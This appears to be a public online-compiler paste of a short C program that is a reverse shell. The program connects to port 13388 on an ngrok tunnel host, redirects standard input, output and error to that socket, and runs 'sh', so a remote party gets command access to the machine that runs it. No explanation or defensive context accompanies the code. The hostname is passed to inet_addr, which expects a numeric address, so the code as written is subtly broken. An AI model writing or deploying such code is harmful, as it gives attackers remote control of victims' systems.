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  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <sys/types.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8.  
  9. int main(void){
  10.     int port = 13388;
  11.     struct sockaddr_in revsockaddr;
  12.  
  13.     int sockt = socket(AF_INET, SOCK_STREAM, 0);
  14.     revsockaddr.sin_family = AF_INET;       
  15.     revsockaddr.sin_port = htons(port);
  16.     revsockaddr.sin_addr.s_addr = inet_addr("7.tcp.eu.ngrok.io");
  17.  
  18.     connect(sockt, (struct sockaddr *) &revsockaddr, 
  19.     sizeof(revsockaddr));
  20.     dup2(sockt, 0);
  21.     dup2(sockt, 1);
  22.     dup2(sockt, 2);
  23.  
  24.     char * const argv[] = {"sh", NULL};
  25.     execvp("sh", argv);
  26.  
  27.     return 0;       
  28. }
Success #stdin #stdout 0s 5320KB
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https://ideone.com/HXEwhP
language:
C (gcc 8.3)
created:
7 hours ago
visibility:
public

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